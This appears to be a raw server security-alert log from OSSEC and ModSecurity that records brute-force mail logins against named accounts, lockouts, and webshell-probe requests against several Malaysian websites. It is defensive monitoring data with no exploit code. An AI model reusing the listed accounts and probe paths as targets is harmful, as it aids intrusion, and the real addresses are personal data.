rule: 13001
name: Exim Auth failed
abuser: 121.18.148.10
country_id: 1814991
description:
2026-01-31 13:11:53 dovecot_login authenticator failed for H=(hebei.18.121.in-addr.arpa) [121.18.148.10]:36314: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:11:17 dovecot_login authenticator failed for H=(uDPMfI) [158.94.209.22]:61568: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/img/demos/img/img/img/img/clientele.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.235.152
country_id: 1835841
description:
2026-01-31 13:11:34 dovecot_login authenticator failed for H=([218.149.235.152]) [218.149.235.152]:39920: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:11:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:12:11 dovecot_login authenticator failed for H=(BA2dOK1) [158.94.209.22]:54150: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:12:28 dovecot_login authenticator failed for H=(4Zj9CuLE4) [158.94.208.175]:57957: 535 Incorrect authentication data (set_id=euratech)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.79.108.51
country_id: 2017370
description:
2026-01-31 13:12:42 dovecot_plain authenticator failed for H=(rophi) [95.79.108.51]:43147: 535 Incorrect authentication data (set_id=khairul_aa@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:12:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.219.104.210
country_id: 3175395
description:
2026-01-31 13:13:50 dovecot_login authenticator failed for H=net-188-219-104-210.cust.vodafonedsl.it [188.219.104.210]:49689: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:13:59 dovecot_login authenticator failed for H=(I5CHibQGW3) [158.94.209.22]:55684: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:13:05 dovecot_login authenticator failed for H=(KzhD0pV1e) [158.94.209.22]:63177: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.32.22.218
country_id: 290557
description:
2026-01-31 13:13:26 dovecot_login authenticator failed for H=([5.32.22.218]) [5.32.22.218]:52289: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:13:34 dovecot_login authenticator failed for H=(b8GaHvRuc) [158.94.208.175]:49243: 535 Incorrect authentication data (set_id=euratech)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-01-31 13:14:08 dovecot_login authenticator failed for H=([103.29.185.162]) [103.29.185.162]:48832: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:14:39 dovecot_login authenticator failed for H=(mw9wOynP2s) [158.94.208.175]:63134: 535 Incorrect authentication data (set_id=euratech)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.52
country_id: 1733045
description:
2026-01-31 13:14:47 dovecot_login authenticator failed for H=([49.124.151.52]) [49.124.151.52]:55240: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-31 13:14:03 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:50230: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.174.225.57
country_id: 1210997
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/yaml/Tests/Fixtures/index.yml HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:14:17 dovecot_login authenticator failed for H=(jM2WuPA1Di) [158.94.209.22]:58588: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.193.194.148
country_id: 1880251
domain: urban.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/index.php||SC:/home/urban/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.193.70
country_id: 1814991
description:
2026-01-31 13:14:26 dovecot_login authenticator failed for H=([116.113.193.70]) [116.113.193.70]:56081: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.94.75.102
country_id: 1149361
description:
2026-01-31 13:14:36 dovecot_login authenticator failed for H=([180.94.75.102]) [180.94.75.102]:52377: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.134
country_id: 1880251
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/assets/css/responsive.css HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.206.113.91
country_id: 1835841
description:
2026-01-31 13:15:22 dovecot_login authenticator failed for H=([175.206.113.91]) [175.206.113.91]:58930: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:15:27 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.22.251.23
country_id: 1835841
description:
2026-01-31 13:15:07 dovecot_login authenticator failed for H=([59.22.251.23]) [59.22.251.23]:42804: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.8.48.178
country_id: 1605651
description:
2026-01-31 13:15:21 dovecot_login authenticator failed for H=ppp-58-8-48-178.revip2.asianet.co.th [58.8.48.178]:48834: 535 Incorrect authentication data (set_id=amir)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/img/photos/images/residential.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.145
country_id: 1880251
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/assets/fonts/flaticon.css HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.132
country_id: 1880251
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/assets/css/font-awesome.min.css HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.67.44.254
country_id: 3017382
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/product-detail.php?id=744397 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.143
country_id: 1880251
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/assets/css/magnific-popup.css HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:15:02 dovecot_login authenticator failed for H=(7pQbf5) [158.94.208.175]:53901: 535 Incorrect authentication data (set_id=euratech)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.231.31.220
country_id: 1605651
description:
2026-01-31 13:15:02 dovecot_login authenticator failed for H=([49.231.31.220]) [49.231.31.220]:5653: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.181.81.150
country_id: 1269750
description:
2026-01-31 13:15:11 dovecot_login authenticator failed for H=([103.181.81.150]) [103.181.81.150]:46677: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:15:11 dovecot_login authenticator failed for H=(iSmXWvlA) [158.94.209.22]:51258: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.163.189.191
country_id: 2017370
description:
2026-01-31 13:15:23 dovecot_login authenticator failed for H=([46.163.189.191]) [46.163.189.191]:50174: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.137
country_id: 1880251
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/assets/css/bootstrap.min.css HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.152
country_id: 1880251
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/assets/css/off-canvas.css HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.149
country_id: 1880251
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/assets/css/rsmenu-main.css HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.150
country_id: 1880251
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/assets/css/animate.css HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.146
country_id: 1880251
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/assets/css/owl.carousel.css HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/services/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:16:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:16:22 dovecot_login authenticator failed for H=(6vxE8pc) [158.94.208.175]:55380: 535 Incorrect authentication data (set_id=euratech)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/img/photos/images/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:16:05 dovecot_login authenticator failed for H=(7am0WO) [158.94.209.22]:60387: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:17:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:17:17 dovecot_login authenticator failed for H=(bcPnSVcDi) [158.94.209.22]:55667: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:17:33 dovecot_login authenticator failed for H=(nzVYmfYAOf) [158.94.208.175]:53110: 535 Incorrect authentication data (set_id=euratech)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.223.46
country_id: 1269750
description:
2026-01-31 13:17:59 dovecot_login authenticator failed for H=([182.95.223.46]) [182.95.223.46]:55576: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.18.148.10
country_id: 1814991
description:
2026-01-31 13:17:55 dovecot_login authenticator failed for H=(hebei.18.121.in-addr.arpa) [121.18.148.10]:61112: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-01-31 13:18:03 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:36198: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:18:11 dovecot_login authenticator failed for H=(qVH9fkXA) [158.94.209.22]:64566: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.219.54
country_id: 1269750
description:
2026-01-31 13:18:33 dovecot_login authenticator failed for H=([128.185.219.54]) [128.185.219.54]:56012: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.149
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/wp-content/uploads/porto_styles/shortcodes.css?ver=6.1.2 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.238
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/wp-content/themes/porto/fonts/fontawesome_optimized/fa-solid-900.woff2 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:18:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-01-31 13:18:16 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:46984: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.213
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/wp-content/themes/porto-child/style.css?ver=6.4.7 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.244
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/wp-content/themes/porto/style.css?ver=6.4.7 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.148
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/wp-includes/css/dist/block-library/style.min.css?ver=6.4.7 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.174
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/wp-content/uploads/porto_styles/dynamic_style.css?ver=6.1.2 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.234.8.114
country_id: 2017370
description:
2026-01-31 13:18:21 dovecot_login authenticator failed for H=([213.234.8.114]) [213.234.8.114]:42064: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.157
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/wp-content/uploads/porto_styles/js_composer.css?ver=6.1.2 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.136
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/wp-content/plugins/revslider/sr6/assets/css/rs6.css?ver=6.7.18 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.172
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/wp-content/themes/porto/fonts/fontawesome_optimized/fa-brands-400.woff2 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:18:38 dovecot_login authenticator failed for H=(GUp45A) [158.94.208.175]:55992: 535 Incorrect authentication data (set_id=euratech)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:18:29 dovecot_login authenticator failed for H=(SCjcmGq) [158.94.209.22]:51087: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.2.154.236
country_id: 3608932
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/products/em-pb-2/ HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.237
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.9.3 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.200
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/wp-content/themes/porto/css/theme.css?ver=6.4.7 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.230
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/wp-content/themes/porto/fonts/fontawesome_optimized/fa-regular-400.woff2 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:19:05 dovecot_login authenticator failed for H=(LMsitHyST) [158.94.209.22]:56888: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.249.160.173
country_id: 3996063
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=35051528706619 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:19:04 dovecot_login authenticator failed for H=(Royil7) [158.94.208.175]:55712: 535 Incorrect authentication data (set_id=euratech)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/portfolio/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.79.86.102
country_id: 1269750
description:
2026-01-31 13:19:06 dovecot_login authenticator failed for H=(nsg-corporate-161.229.186.122.airtel.in) [182.79.86.102]:52790: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:19:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:20:17 dovecot_login authenticator failed for H=(ICvMF2) [158.94.209.22]:52207: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:20:35 dovecot_login authenticator failed for H=(sQoRglGhua) [158.94.208.175]:52274: 535 Incorrect authentication data (set_id=euratech)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.215.235.125
country_id: 1831722
description:
2026-01-31 13:20:43 dovecot_login authenticator failed for H=(ADMIN) [188.215.235.125]:44950: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.71.84.38
country_id: 3469034
description:
2026-01-31 13:20:46 dovecot_login authenticator failed for H=([200.71.84.38]) [200.71.84.38]:34438: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.183.18
country_id: 1269750
description:
2026-01-31 13:20:56 dovecot_login authenticator failed for H=(nsg-static-057.137.71.182.airtel.in) [125.23.183.18]:45306: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:21:11 dovecot_login authenticator failed for H=(R9hB7WGIL) [158.94.209.22]:60890: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:21:22 dovecot_login authenticator failed for H=(vAix3NR6gB) [158.94.208.175]:49652: 535 Incorrect authentication data (set_id=euratech)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.237.211.243
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=88931514863850 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.245.243.150
country_id: 3996063
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/hamcrest/hamcrest-php/generator/FactoryCall.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-31 13:22:42 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:11594: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:22:13 dovecot_login authenticator failed for H=(UHS2jQeLr) [158.94.208.175]:55780: 535 Incorrect authentication data (set_id=euratech)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.203.231.220
country_id: 2464461
description:
2026-01-31 13:22:24 dovecot_login authenticator failed for H=([196.203.231.220]) [196.203.231.220]:37398: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:22:05 dovecot_login authenticator failed for H=(SSZ3gjI) [158.94.209.22]:52959: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.72.59.106
country_id: 1835841
description:
2026-01-31 13:22:07 dovecot_login authenticator failed for H=([121.128.76.109]) [61.72.59.106]:58200: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:22:23 dovecot_login authenticator failed for H=(EuStzL) [158.94.209.22]:55910: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.33
country_id: 1819730
description:
2026-01-31 13:23:43 dovecot_login authenticator failed for H=(223-197-145-33.static.imsbiz.com) [223.197.145.33]:53656: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.176.126
country_id: 1269750
description:
2026-01-31 13:23:54 dovecot_login authenticator failed for H=(nsg-corporate-126.176.185.122.airtel.in) [122.185.176.126]:38482: 535 Incorrect authentication data (set_id=marketing)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.66.135.194
country_id: 953987
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-foundation/Tests/CookieTest.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:23:17 dovecot_login authenticator failed for H=(uwWJIakdSZ) [158.94.209.22]:64524: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.222
country_id: 1269750
description:
